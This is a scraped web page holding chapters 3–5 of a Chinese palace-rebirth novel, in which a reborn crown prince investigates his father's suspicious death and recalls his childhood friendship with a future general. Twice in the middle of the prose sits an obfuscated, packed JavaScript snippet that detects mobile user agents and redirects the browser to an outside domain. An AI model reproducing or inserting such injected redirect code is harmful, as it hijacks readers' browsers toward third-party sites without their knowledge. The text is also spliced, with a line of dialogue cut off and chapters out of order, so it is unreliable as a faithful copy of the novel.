《流年二十春》 3. 归来曲(贰) 初日照林,扰人清梦。 小桌子倚靠树干,站立睡着,眼皮触及光亮,他睁开惺忪双眼,醒来的恍惚感,险些叫人偏了身子,摔到在地。 他眼疾手快,扶住站稳。 人也顺势清醒了。 意识回归的这一眼,让他的心脏又要提到嗓子眼。 太子殿下躺在土坑边,席地而睡,枕着一处野草,竟睡着了,不拘一节的模样,衬着一张貌若天仙的脸,好叫人欲哭无泪。 晨起风凉,小桌子脱了衣服,想给殿下盖上。 纵使布料粗陋了些,但有总比没有好。 刚有解束带的动作,被风声惊扰的太子殿下忽地睁了眼,将他吓得当即勒紧裤腰带,一连退后数步。 奚舟虽睁了眼,眼色却出奇讷然,呆躺了许久,不知望向何处,突然轻声道:“太阳。” 小桌子双耳立起,全神贯注,听到这话,不明所以地重复一遍:“……太阳?” 奚舟问:“牢狱里为什么会有太阳?” “殿下在说什么呢?”小桌子不解,“这里不是牢狱,而是皇宫,皇宫里自然会有太阳。” 话说完,奚舟蓦然盘腿坐起,白净脸颊上,还沾有几处极不雅观的泥点。 这般作态又将小桌子吓一大跳 奚舟抬起头,认真看着眼前的人,恳求道:“你掐我一下。” 小桌子瞪大眼:“不可不可!殿下,这万万使不得啊!” 抗拒显而易见,再求便成了无理取闹。 奚舟放弃为难他,伸出手指,抵着右脸,下定决心,狠狠一拉。 他眼睛一亮,与小桌子对视,笑起来:“好痛啊。” 小桌子呆在原地,理解不能,动弹不得。 奚舟心情大好:“继续挖坑吧!” 毕竟只有四只手的参与,昨日进程可谓迟缓至极。 该加快速度了。 太子殿下拿起铁锸,燃起斗志。 深浅不一的土坑边,摆着模样凄惨的先帝尸体,安安静静,却死不瞑目。 小桌子望得胆寒,他难以去联想,太子殿下是如何做到心态良好地与一具死了半年的尸体同枕而眠的。 踌躇片刻,他沉重咽了口唾沫,鼓足微弱的勇气,发问:“殿下,陛下是病重而逝的吗?” 奚舟停下动作。 停了一会儿,才道:“是啊。” 嘴上这么说,但他早已心生困惑。 景明十六年冬,先帝重病难捱,宫中太医皆无良方可医。 景明十七年春,各地名医快马赶至玄都,进宫问诊,先帝病情因此好转,但仅仅五日,先帝又在一夜间急病缠身,从此卧榻不起,不省人事。 但急病缠身的那一日,奚舟从未亲眼目睹是何境况。 现在看来,当时的先帝已经死了。 小桌子:“那为何……” 说到这儿,他有所顾虑,言语略有迟疑。 “什么?”奚舟追问。 小桌子:“为何陛下不仅五脏俱废,并且经脉寸断,这般死相,不像病逝,反倒像被人残忍刺杀,而且此人,定是一品以上的高手。” 奚舟听得恍惚一阵:“你只看一眼,便能看出那么多?” 小桌子:“奴才在入宫前,与老仵作学过仵作之术,本想以此谋生,谁知家中境况每况愈下,才入宫做了阉人。” 他又强调:“这并非是奴才看出来的,只是想起了天下仵作皆知的一桩悬案,名为陵城案。” 对方口中所说,是奚舟格外熟悉的事。 往日的陵城境内,贪腐风气盛行,官府狼贪虎视,嚣张跋扈,剥削百姓口粮,一城有良田千亩,却遍地民不聊生。 景明十五年冬,大雪纷飞,陵城衙门内,静得离奇。日上三竿,有一顽皮幼童推门而入,见到衙门府邸内横尸遍野,大堂血溅三尺,雪地上却无半点血迹,只插着一把染血的断剑。 唯一被断剑所杀的尸体,身份为陵城贪官之首徐尚文。 其他尸体面色发黑,嘴唇煞白,死相蹊跷。当地仵作解剖才知,这些人的五脏六腑皆为内力震碎,经脉俱裂,纵使当下发现尸首,也无半点生还可能。 小桌子:“也是在那时候,人们才知道,武者的上限并非是以一敌百的剑术与来去自如的轻功,而是杀人于无形,藏匿于无影。” “类似的案子在陵城案后,还出现过两起,都未留下足迹,衙门猜测是一人作案,因为此人杀的都是无恶不作的官宦,民间便开始喊他……” 奚舟轻声,接上后话:“陵城剑侠。” 小桌子一惊:“殿下也听过此事?” 奚舟点点头:“我看过民间为陵城剑侠编纂的话本。” 说完,他极快地眨了眨眼,好似慌神,问:“所以小桌子你认为,我父皇是陵城剑侠杀的?” 对方则是摇了摇头:“不止是陵城剑侠,任何一个一品以上的武者,皆能杀人于无形。” 说完这句话,他亲眼见得,殿下的神情明显像松了一口气。 “殿下不希望陵城剑侠是凶手?” 奚舟神色僵硬一瞬。 陵城剑侠若是杀害他父皇的凶手,便代表对方一定对自己也恨之入骨,后果他不愿去想,但如果不是剑侠所为,他便还有与其和睦相见的机会。 可这么说出来,像是胳膊肘往外拐。 奚舟轻抿唇瓣,转移话题:“小桌子,你认为是何人杀了我父皇?” 小桌子:“奴才不敢妄言。” 奚舟:“此处又无第三人,你只与我说,只要不得罪我,便不算妄言。” 说完,又呸了一声。 呸完,太子殿下言之凿凿地强调:“得罪我也不算妄言。” 小桌子沉默片刻,终于开口:“清楚皇宫构造,能进入陛下寝殿的,至少是玄都境内有所名望的大人物,与该形象吻合的大人物里,突破一品境界的只有一位,便是……” 他顿了顿,继续说:“李将军。” 不是的。 奚舟在心里纠正。 整个京城里,突破一品造化的武者还有一位。 只是此人心思太重,藏得太深,以至于很长一段时间无一人知晓。 丞相之子谢道怀。 一想到这个名字,那些不堪记忆便又冲撞上来,奚舟狠掐发抖的手臂,拉回渐渐抽离的神智。 这是属于他的第二次人生。 那些该忘却的,他要通通忘个干净。 即使抛却一切,奚舟依然认为,不与小桌子说起此事,才最为妥当。 若真是谢道怀所为,那他们强行介入,只会遭来更可怕的祸事,将此事永远咽进肚子里,当做无事发生,才是明智之举。 就算与小桌子说了,他也无法理解自己为何如此惧怕此时身无官职的谢道怀。 还会给无辜之人引来杀身之祸。 他思绪飘远时,听见小桌子匆忙解释:“并非是奴才有意要怀疑李将军,只是玄都境内已无第二种可能。” “不管对错与否。”奚舟收回烦杂念头,笑了笑,“总要试一试。” …… 平敞官道上,一辆华贵马车扬尘疾驰。 到达将军府,马车慢下来,从车上跳下来一位美人,容貌艳丽,肤色白皙,衣摆与脸侧却有泥点煞风景。 门前武侍目不斜视,站立如松,直至看清太子相貌,纷纷跪地。 奚舟:“帮我禀报李夷则,就说我要见他,其他不用多说。” 武侍们应允时,发觉蹊跷之处不止太子的奇装异容,还有太子身后只一人的随从。 前几日的太子,离开皇宫出行时,可是坐着最豪华的金辇,带上了最多的人马,浩浩荡荡行在官道上,让玄都子民在官道两侧俯首跪拜,奢靡至极。 负责通报的武侍动作极快,没一会儿,有一老翁快步走来,白发苍苍,却步履矫健,上来迎接:“奴才是这府邸里的管家,殿下请随奴才往里走。” 奚舟欣然跟从,与老翁行过后院长廊时,视线落向满院花色,粗心大意间,与一人猛然冲撞。 看清来人相貌后,二人四目相对,一时凝噎。 奚舟忍住破口大骂的冲动,大喊对方名字:“李三让!” 李三让脸色扭曲,他心中诸多不愤,碍于眼前人尊贵身份,无法抒发,只得憋闷道:“别喊 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身着玄黑束袖骑装的男子身姿英挺,面容英俊,眼色冷冽间,拉弓引箭,射向远处,激起一阵急风。 第一箭,直中靶心。 第二箭箭势更急,刺穿了前一箭的箭柄,又深深刺入木靶深处。 奚舟压低声音,说悄悄话:“父皇有可能是被这一箭射穿的吗?” 小桌子认真解答:“殿下,虽然将军的射艺也能做到瞬间杀人,但如果有人因箭矢而死,是一定会留下伤口的。” 奚舟恍然大悟,点了点头,表示赞许。 “那么……” “太子殿下!” 近旁位置,有人厉声出口。 出声之人名叫崔不惑,他与围绕箭亭的数位武侍一般,站得威风凛凛,神色严肃,见奚舟投来目光,他正色道:“将军正在练箭,箭亭需要保持绝对的肃静。” 崔不惑,大梁上一任大将军李无相操办的武校中脱颖而出的佼佼者,获得军职官位后,却自愿成为李夷则的手下,并对其忠心耿耿。 此人还有一个特点。 就是非常讨厌奚舟。 该特点让崔不惑在整个大梁都极为有名,在奚舟前一世喜怒无常任性至极的脾性之下,此人依然能做到不屈不挠地死犟,因此被戏称为“大梁第一犟种”。 该称呼一半是对崔不惑既厌又惧的人在喊。 另一半,则让对奚舟敢怒不敢言的朝廷武官们有了发泄口。 上一世的奚舟看一眼崔不惑,登时就要气急攻心。 但这一世的奚舟,决定好好悔改。 他循循善诱:“小崔,你为什么讨厌我啊?” 对方沉默良久。 终于开口:“我比你大了……” 又是漫长的停顿。 直至奚舟面露困惑,崔不惑努力调整面部扭曲之处,艰难挤出两个字,“三天。” 奚舟:“……” 这是重点吗? 无论如何,奚舟选择尊重:“崔不惑,为什么你每一世都那么讨厌我呢?” “我并非是讨厌太子。”崔不惑并未注意话中蹩脚之处,“只是对于某些有碍规矩的行为,实在看不过眼。” 不是对他这个人有意见就好。 奚舟松了口气,扭过头,与崔不惑面对面,转而道:“我们握手言和如何?现如今我已经改过自新,彻底放弃上辈……以前的自己了。你若是不信,可以……” 他停下言语。 因为在他眼前,崔不惑的表情急速转换,极为标准恭敬地行了一个大梁军礼。 奚舟听见他接着喊道:“将军!” 话音未落,奚舟感到一个温热的怀抱,从背后紧紧拥住了他。 李夷则未卸下射箭时的护腕与手套,皮革硬邦邦的,尽管隔了两层外衣,诡异的触感依然硌得发痒。 当然,奚舟已无暇顾忌此事。 由于昨晚挖坑太累,他好像…… 快被李夷则抱晕了。 4.游春曲(贰) 看清眼前人是小孩,奚舟逃学的心虚抛之脑后。 但他贵为太子,给一个刚见面的同龄人行跪拜礼,着实不妥。 想到这儿,他急忙站起,掸去衣摆尘土。 出口问:“你也不想念书吗?” 眼前与他年纪相仿的孩童,鼻子生得高挺,眸色偏浅,不似寻常的大梁长相,年纪尚幼,已初露俊相。 那人避而不答,只淡然道:“我要进去。” 奚舟顺着视线望去,只看见那堵想谋害自己性命的红墙。 “你少唬我。”他念念有词,“这里只有墙,哪里有可以进的门?” 话才说完,那不知姓名的孩童已不再看他,利落地跳上宫墙,又极快跳下。 瞬间无影无踪。 姿势之流畅,与他方才的狼狈攀爬全然不同。 奚舟在原地看愣了,久久震惊,无法抽身。 这还是他头一次看到同龄的习武者,并且已将轻功练得炉火纯青。 他顿时来了兴致。 墙外的光景,远不及飞檐走壁的话本大侠来得有趣。 绕了一大圈,他回到学堂正门。 将近门口,一片静谧里,听见闲言碎语。 至少有三个人,正在这扇门后议论什么。 一人起调:“李渊快进来了!别发呆了!” 在他这话后,被催促的人感到不耐,拉长尾音道:“我知道了,知道了!” “别喊他李渊。”这个声音听来极有威严,像是领头之人,他呵斥道,“他是哪里来的野种,也配姓李。” 越听越困惑,奚舟索性不再听。 他用力把门一推,一桶冷水倾泻而下,自上而下,将奚舟浇了个透彻。 水滴入眼眶,刺痛不已。 他闭着眼睛,将黏了水的湿发撩到耳后,处理湿透了的衣衫,顾不得身边不断的杂音,也忘记了喊叫。 自然也没听见那三人再次说起的小话。 有人发问:“李三、三让,这、这不是太子殿下吗……” 有人绝望:“完了完了……” “别喊我李三让。”有一人却无比淡定,斥责完称谓,压低声音,语调流露不屑,“谁不知道我朝太子是光有脑子不会用的蠢货,七岁背篇诗文还磕磕绊绊的,此事随口唬他一句,保准能糊弄过去。” …… 眼皮的不适逐渐消失,奚舟终于睁开眼睛。 方才的三人,有一人消失不见,只剩两人跪倒在地,向他行礼致歉。 其中一人脑袋点地,缓缓解释:“太子殿下,我等这是无心之举,这桶凉水,本来是要泼在李渊身上的,但他不知为何改道而行,水才不幸泼到了殿下的身上,这全是李渊的过错啊!” 话里的信息量过大,奚舟盘算了好一会儿。 被水淋湿的脑子,在努力思考后,果断选择了相信。 大步迈开,要出发去兴师问罪。 很快,他小步退回,神色有些尴尬:“那个……李渊是谁啊?” 二人一路将奚舟带到学堂小院。 急风飘过,吹落绿叶。 有个小孩握着笤帚,背对三人,正在仔细清扫亭间寥寥无几的落叶。 奚舟打了个喷嚏。 方才的冷水,将他泼得脸颊与鼻头都泛了红,春寒料峭,让他在寒风中止不住发抖,越想越气。 他快步上前,拽住此人肩膀。 出口的言语冷得发颤,神色却带着一股神气的倔意。 奚舟对着迟到被罚清扫落叶的李渊,厉声命令他:“衣、衣服给我。” 李渊回过头。 奚舟瞪大双眼。 他松开手,惊声道:“怎么是你?” …… 月凉如水,宫墙之下,行过人流。 作为父皇少年时的挚友,赵叔父常常入宫觐见,与奚舟的父皇聊政务,谈兵法,亦或是扯些年少时的鸡毛蒜皮。 母亲死后,父皇又忙于政务,奚舟成了没人看管的野孩子。 在这期间,唯有赵叔父疼爱奚舟,常来与他玩耍。 在晚夜寒月下,奚舟披了一件稍大一号的衣服,皱着一张小脸,可怜兮兮的。 “所以说,我被那两个人骗了!” 赵呈象俯着身子,与其平视:“小舟为何这么说?” “分明是他们捉弄别人,弄巧成拙,淋了我一身水,却欺瞒我是别人过错,害我气冲冲找人算账,又在学堂里出了大糗……” “小舟。”赵呈象出声,阻止他继续下文。 奚舟抬起头,安静看着他。 赵呈象:“你是太子,将来是坐龙椅成大事之人。” “所以呢?” “所以……”赵呈象摸摸他的头,“你不该将他们当作朋友,你也绝不会是他们的朋友。” 奚舟不懂:“那我是他们的什么?” 赵呈象:“你是他们的主人。” “主人……”奚舟呢喃一遍,依然不解,“是什么意思?” “主人的意思就是……” 咔—— 嚎叫忽起,又转瞬消逝。 赵呈象站起身来,掐住身边侍卫的脖颈,施加内力,猛地拧断。 他的武功,虽未挤入一流行列,却也是三品高手,这一下出手,让侍卫先是目露茫然,随即痛苦挣扎,最后用眼神苦苦恳求,却还是被拧断脖颈,绝望咽了气。 此番景象,仅仅用了半分钟。 赵呈象松开手,原本直直站着的侍卫忽然像没了骨头,轰然倒地,睁着空洞的眼,目视前方,一动不动。 他笑起来,接上上一句话:“是掌管生杀。” 奚舟呆在原地,看着死不瞑目的那双眼睛,说不出话。 他才七岁,还从未见过死人。 赵呈象又俯下身,将他遮眼的额发别到一边,轻声缓缓道:“而真正强大的权势是让人明知死亡将近,想到却不是反抗,而是苦苦求饶。” “小舟,你要做帝王。”他强调,“他人怕你,才是对的。” 夜黑风高,宫人提着的火灯,熄灭一盏。 奚舟眼前,也蓦然黑了一处。 …… 翌日,奚舟从邻桌嘴中听闻,主导泼水之事之人,名为李三让,也是大将军李无相的儿子。邻桌说完,将其概括为兄弟相争。 而兄弟相争,是再寻常不过的事。 听见此话,他心中只有不明所以。 他绝不会与小宴相争,就算小宴宁愿看那些枯燥的书本,也不愿同他说话。 又过三日。 晨光熹微,潇潇雨落。 昨夜已下了一夜的大雨,李渊的课桌被人扔在了门外,桌上陈列的书卷随地乱扔,雨打风吹,此时被泥水浸透,残缺不堪。 这一天,李渊打趴了一地学堂学生,个个鼻青脸肿,被揍出门外,摔在院中的书桌上,在雨中哭爹喊娘,疼得嗷嗷叫唤。 李渊端立堂内,滴雨未沾,只有衣角染上灰尘。 李三让人缘极好,又是将军之子,这学堂里,一半人与他真心交友,一半因畏惧他而助长他作恶。 正因如此,原本拥堵的学堂,竟只剩下两人。 雨声沙沙,响起春雷。 奚舟却充耳不闻,坐得端正,托着腮,全神贯注,盯紧李渊背影。 雨停风弱,潮湿不散。 李渊被夫子叫去罚站,奚舟则被留下温书。 才翻了一页书,他的视线便默默瞟向狼狈倒了一地的同学。 听太医说,李渊下手之惨烈,让这些人至少一月无法动弹,但又没有留下任何一处能落下顽疾的伤势。 甚至还能勉强说话。 奚舟戳了戳被揍得最靠前的邻桌:“疼吗?” 只戳一下,便听得对方撕心裂肺叫唤,疼痛程度,不言而喻。 奚舟:“李渊是个怎么样的人啊?” “他、他不是人、人……”邻桌口含血气,吐字极慢,模糊不清,“是、是怪物……” 奚舟又问:“那你害怕他吗?” “我、我……” 对方犹疑许久,不愿启齿。 奚舟眼眸一闪,看着前方,大喊:“李渊!” 倒地众人痛呼出声,皆捂着脸,以手作足,试图爬行逃跑。 奚舟抿唇勾起。 他所看的前方,实则空无一人。 …… 夫子禀报惨烈情状后,大梁将军李无相亲自前来处理残局,看到挂彩最多的亲儿子,心中唯有叹息。 “李无相。”王世松与他半道遇上,听说这等稀罕事,便来瞧个热闹,他双手合十,负在背后,像是看黄金一般,盯着远处罚站的李渊,“你从垃圾堆里捡了个宝啊。” 李无相:“你跟来做什么?” “别跟我装傻了。”王世松一捋胡子,啧啧称奇,“这孩子的天赋世间罕见,突破一品境界不过是时间问题,你是想借他,来遂你一生未了的心愿吗?” 李无相自二十岁升上一品后,瓶颈至今,得不到半点进步,突破一品对他而言,是天方夜谭。 正因如此,当他看到李渊的奇高习武天赋时,的确不可避免产生了惜才之心。 但是他收养李渊的理由,并非这般浅薄。 “当然不是。”李无相的视线,望向更远的前方,“只是大梁的昌盛,需要一个足够强大的将军。” …… 初夏悄至,学堂院落之中,池水漾光,蝶落艳花。 对着进门之人,众人皆惧七分。 唯有奚舟眼眸一亮,喊道:“李渊!” 他一寸一寸,慢慢向对方挪近。 与其相邻坐下后,他扬眉浅笑,好心开口:“新桌子没搬来之前,你可以先用我的。” 他又将书卷搬过来:“书也全部给你。” 李渊凝眸低头,桌上卷成一团糟的书卷,几乎全是空白的。 夏去秋来,秋去冬来。 又来到第二个春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594704|171784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日。 这一年里,奚舟尽职尽责做着李渊的邻桌,比如,他放弃了夫子讲学时折兔子的爱好,因为用来折兔子的书卷,通通送给了李渊。 夕阳斜落,他从睡梦中醒来。 李渊站起身,马上要离开。 奚舟喊:“李渊。” 往常奚舟喊他,他并非总是有所反应的,但这一次,李渊不仅回了头,还罕见地开了口。 语气不喜不怒,只是询问:“你为什么……总要缠着我?” “因为你那天打完架后,学堂的所有人都怕你。” 奚舟低下头,轻声补充:“我也想让别人怕我。” 常人说来蹩脚的理由,因为是眼前这个人嘴里说出来的,便是如假包换的真言。 听完回答,眼前人转头,又要走。 奚舟抬头回神时,对方已走到院落,他来不及感慨,小跑几步,追上去拉住李渊手臂。 对方与他四目相对,他大脑则一片空白,随口胡诌道:“本、本太子今天受伤了……需要有人照顾!” 李渊:“伤在哪里?” 这一下,将奚舟彻底问懵了。 “伤在……” 坏了,这个忘记编了。 奚舟沉吟几秒,茅塞顿开:“是腿!你还记得去年我爬墙摔倒吗?那次我就受伤了,今天我顽疾复发,完全不能走路了。” 他装作可怜巴巴地,却用威逼利诱的语气,补充下文:“宫人们都不在这儿,本太子命令你,必须送我回宫。” 对方充耳不闻,淡声说:“你方才是跑过来的。” 说着便又要走。 奚舟的力气比不过李渊,强拉硬拽也很快被挣脱,看着李渊无情的背影,他彻底没了办法。 他的帝王大业今日绝对又要失败而终了。 眼神忽闪间,他的视线,落在近处一块沉甸的石块上。 李渊走出几步,听见一声嗓音熟悉的惨叫。 他回头。 看见奚舟蹲在地上,着急忙慌地,将什么东西背在了身后。 沉闷一声响,东西摔在地上。 漂亮的眼眸里,盈满了快要溢出的泪花,只是主人正在强撑着,让它们不流下来。 再往下看,脱了一半的靴子,裸/露出瘦白的一截小腿,已浮起青红的肿块。 见他转头如此迅速,对方将眼泪胡乱一擦,努力把哭腔咽回去,指着肿块,语气不乏心虚地扬声争辩:“你看吧!我没有骗你,我的腿真的受伤了……” …… 奚舟靠在李渊背上,被人背着,稳稳向前行进。 为了自己的帝王大业,他继续给对方拍马屁。 “李渊。”他说,“你是我见过最厉害的大梁小孩。” “我不是大梁人。” “那你是哪里人?” “不知道。” “你为何不是大梁人。”奚舟思索道,“你不是李将军的儿子吗?” “不是。” 奚舟嗯了一声,尾音上挑,表示困惑。 “我杀了人,进了大牢,他把我赎出来。”李渊淡声道,“作为报答,他让我做他儿子。” 这是什么鬼道理? 不过…… 原来李三让的愤懑不满,皆是出自亲生父亲的偏心。 他为何讨厌自己的名字,现在终于也有了答案。 奚舟问:“你想做将军吗?” 李渊:“不想。” “但是我想让你做将军。”他拉过李渊的下巴,与对方几乎脸贴着脸,眼睫扑扇得厉害,“我可以给你用不完的金银财宝,你当将军保护我吧,好不好?” 李渊不答,脸一动不动,保持与人近得过分的姿势,反过来问:“你与谁说话,都挨得那么近?” “不啊。”奚舟神气道,“我只与我赏识的人这样说话。” “你还赏识了谁?” 奚舟移开脸,腾出一只手来,开始掰手指,掰了半天,只按下去一根,他有些挫败,但不得不承认:“目前、目前……只有你一个。” 李渊沉默不语。 奚舟又恳求:“你当将军吧!” 对方还是不理他,他晃了晃腿,用较为激烈的动弹表示不满。 “会掉下去的。”李渊终于开口。 这话很实用,奚舟一下怕了,将李渊的脖颈,搂得极紧。 但另一方面,他又生着闷气,于是将头拧到了另一边。 静了片刻,李渊说:“这世上可没有八岁的将军。” 奚舟睁大双眼,难以置信:“所以你是答应了吗?长大后,就会做我的将军。” 满怀期待的他,在话音落下的几秒后,听见一声淡淡的嗯。 比起李渊一如既往的淡定,奚舟比以往更加激动:“那就说好了,以后本太子指哪,你打哪,肯定没有人是我们的对手!” 景明八年春,玄都境内,满城春景。 燕飞莺啼,暖阳和煦,一片其乐融融。 5.归来曲(叁) 片刻相拥。 待到李夷则松手时,奚舟扶着天旋地转的脑子,感慨武者果然不容小觑。 李夷则抱着他时,分明没用什么劲,他却使不上半点力气。 奚舟长舒一口气,伸出手指,狠戳李夷则脑门。 崔不惑在他近旁瞪大眼,像看见什么大逆不道的事。 奚舟已懒得看旁人,他问:“李渊,你吃错什么药了?怎么比上辈子更加烦人了。” 此话一出,众人当场沉默。 还是小桌子先感到奇怪,在一旁问:“殿下刚刚是说……上辈子?” 奚舟心中大叫不好,急忙道:“上……上阵子,我说的是上一阵子!” 话落下,他又很快抢话,岔开话题,强行正色道:“李渊,我有话问你。” 李夷则神态从容,端正拱手作礼,出声道:“殿下请问。” 行事作态之冷静,仿佛方才失态拥抱的并非是他。 奚舟:“去年先帝突发急病时,你在何处?” 自他开始挖坑的那刻起,先帝死讯便已经传遍了朝廷众臣。 此话一问,让崔不惑怒不可遏,语气愈发变重:“殿下问的是什么话?难不成殿下是怀疑陛下病情加重,是将军所害的不成?” 李夷则冷声呵斥:“闭嘴。” 短短二字,语调淡淡,威严却不减。 崔不惑顿时噤声,不敢再言,退到远处。 虽与李夷则自幼相识,但奚舟还从未见过他摆将军架子的一面。 着实稀罕。 “崔不惑,听到没有?”奚舟挑眉,神气道,“将军喊你闭嘴。” 崔不惑与奚舟相视,却无言。 他眼中已褪去怒意,仅仅残留说不清道不明的深沉。 活像看阻碍将军大业的狐媚胚子。 奚舟迟钝,只觉对方吃瘪,此时心情大好。 李夷则静静等着他与人耀武扬威完,才认真回答他的问题:“先帝突发急病时,臣身在练兵场,并不知晓先帝彼时境况。” …… 府邸长廊上,小桌子忍不住问:“殿下,我们这就走了吗?” 奚舟点头:“是啊。” “殿下完全不怀疑将军吗?” “不怀疑。” 小桌子:“……奴才有些不明白。” “你刚进宫,觉得奇怪也正常。”奚舟笑了笑,“但是李渊从来不对我说谎。” 见小桌子神色还有疑虑,他宽慰道:“纵使李渊真的杀了父皇,也一定是为了我好,我又何必去查他呢。” 此话落地,奚舟大步走远,留着发愣的小桌子喃喃自语:“杀掉陛下,怎么会是为了殿下好呢。” …… 庭院葱茏下,崔不惑躬下腰,恭恭敬敬行军礼。 明知此话不该问,但此事自他决心为将军效力以来,确乎困扰他许久:“手下不明白,将军为何如此忠心于……” 一个草包太子。 崔不惑留了话口。 后半句话,他若说出口,说不定会丢了性命。 李夷则恍若未闻。 他迈开几步,将距离拉远,引弓架箭,蓄力再射。 “将军。”崔不惑再唤。 李夷则这才回神,收住将要离弦的箭。 他问:“将军在想什么?” 李夷则淡声说:“想到了以前的事。” 崔不惑还想再问,抬起眼,触及的却是眼前人眼底罕见的戾色。 他蓦地噤声,不敢再发一言。 李夷则目视前方,眼底寒意更浓,杀气凛凛,拉满长弓,射出一箭。 该箭势如破竹,刺穿靶心,飞出数米,与石墙冲撞,竟凿出箭洞,生生卡在墙中。 崔不惑猛吸寒气。 “不。” 李夷则收了弓箭,回过头,却并未看任何一人,他冷着嗓音,否认上一句话:“应该是上辈子的事。” …… 一出将军府,便撞见老熟人。 府门前,摆着他来时的轿子,与一架新的官轿。 轿前,一众人齐整向奚舟行礼,正中之人,精细打理了胡须,着一身石绿色官服,身板直挺,神采奕奕。 是王世松这个老狐狸。 见太子出府,王世松喜上眉梢,躬身迎接:“微臣向太子殿下问安。” 奚舟眼皮狂跳,拽一拽身旁武侍袖口:“王大人何时来的?” 武侍惶恐:“回、回殿下,王大人是半柱香前来的。” 按照这时间估算,他刚往将军府跑,王世松便差人起轿前来了。 此人究竟在宫中安插了多少内应? 这一件事,上一辈子的奚舟无心打探,这一辈子的奚舟则无权得知。 思考还未深入,他被王世松凄厉的一声惨哭,强行拉回神智。 只见老狐狸情绪转圜极快,转瞬间已褪去笑意,悲伤难抑,哽咽不已,真的挤出几滴眼泪来:“宫中下人照料不周,竟让殿下第一位得知父亲死讯。” 奚舟眉头一紧:“无碍。” 他只想快些结束对话。 王世松老奸巨猾,必然早已得知皇帝死讯。 此时他找上门来,定然没有好事。 有了一世的经验,奚舟大概知道这件坏事是什么。 王世松继续悲恸:“如今,登基大典虽未操办,但臣已将殿下当作新的陛下,甘愿为殿下效犬马之劳。” 看他假惺惺地情真意切,奚舟皮笑肉不笑:“王大人折煞我了,登基之事,还是等父皇丧礼后再议吧,我该走……” 说着,便要拉着小桌子离开。 “殿下且慢!” 奚舟竭力扬起第二个假笑:“王大人还有什么事?” 王世松:“为向殿下禀明微臣忠心,臣愿将自己的世侄,托付给殿下,为殿下效力。” 奚舟拒绝:“不必了。” 此时,王世松的悲伤已不在,反而露出怀念之意:“世侄姓陈,名无咎,年仅十五,武功造诣已是一品,是臣还身在黍县时,常一起游玩的幼时玩伴的幼子。” 奚舟继续强调:“不必了。” 王世松充耳不闻,作揖笑道:“臣今日还将世侄带过来了。” …… 宫辇宽敞明亮,却因此时的窒息氛围显得逼仄灰暗。 小桌子挤在最角落。 奚舟则挂着虚假笑脸,与不速之客四目相对。 陈无咎虽是少年年纪,身量却很高,模样称得上俊朗,但眼下的刺青,凭空让他多了三分凶相。 他怎么会不认识陈无咎呢。 前世他被王世松坑蒙拐骗,爽快收了陈无咎作贴身侍卫,朝廷大厦将倾时,他才知这不是王世松安置在他身边的护卫,而是扼住他命脉的杀手。 他又实在愚蠢,见边境战事吃紧,将李夷则哄去守卫边塞。 小宴也已离开皇宫,去了封地。 只他一人,在皇宫孤立无援,还入了谢道怀的狼口。 往事不可追,但倘若往事现在就在眼前,他为何不斩断这段孽缘呢? 奚舟:“你回去同你世伯说,贴身护卫本太子自有人选,不需王大人费心。” 话说完,只得到诡异的沉默。 陈无咎只是看着他,但一言不发。 奚舟问:“你只听从你世伯吩咐?” 这下,他点了头。 奚舟重重叹一口气。 他想起来了,陈无咎天生是个哑巴。 他也并非是王世松的世侄,而是王世松从前朝流民中百里挑一选出的少年,他眼下的刺青,图案是民间传说中的厉鬼。 这是大梁为前朝死囚烙上的墨刑。 罢了。 先留下来吧。 陈无咎只是个听命行事的杀人兵器,前世也仅仅只是限制他自由,并未对他出手。 说白了,还是他愚蠢至极惹的祸。 为什么会想到向谢道怀那个疯子求救? 那么,还有一件最要紧的事。 王世松方才提出,让他明日上一次早朝。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604957|171784||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但并非是大张旗鼓前去,而是尽量掩人耳目,在旁聆听。 就算王世松不抱好心,但奚舟的确想去。 前世的他,因为这群老狐狸,被拖了大半年才继位,在他未继位的时候,朝堂众臣激烈商讨的,想必都是如何更公平地将他这个蠢货分吃了。 这一世,他能主动出击,总好过坐以待毙。 …… 晨光熹微,奚舟打了个哈欠。 他从宫辇跳下,立于朱雀门之下。 此时,朱雀门大开,仅有几个守夜的宫人立于两侧,朝廷众臣们,还在赶往临天殿的途中。 而他起个大早,一是求个清净,不愿与那群老狐狸作亲热的假把式。 二是…… 奚舟斜眼睨过去:“陈无咎。” 陈无咎向他行礼。 “我是听了你世伯的话,才来这临天殿听朝政诸事的。”奚舟眯着一双困乏的眼,“你不必如此严防死守我吧。” 陈无咎依旧向他行礼。 奚舟无奈放弃。 怪不得王世松在那么多年幼的前朝流民中,偏偏选中了陈无咎。 至少他是拿这个哑巴一点办法没有。 他向前走几步,陈无咎便向前几步。 他后退,陈无咎也后退。 “我要去出恭。”奚舟忍无可忍,双臂环抱,回过头假笑,“你也要一起吗?” 陈无咎俯下身来,是行礼的动作。 只是这次,对的不是他,而是他身后。 脚步临近,是王世松笑得和悦,向他靠近,恭敬行礼道:“殿下果真操心国事,天还未亮,便来到朱雀门附近了。” 奚舟笑眼盈盈,只笑不答。 他在心中嘟囔。 还不是为了甩掉你的假侄子。 昏沉天光下,他被迫与老狐狸同行,身后还跟着甩不掉的尾巴。 “不知殿下可否知晓……”王世松与他攀闲话,“今日还有一人,与殿下相同,同样是第一日上早朝。” 奚舟一扭头,来了兴致:“谁啊?” 王世松笑道:“是谢丞相的长子。” 良久沉默。 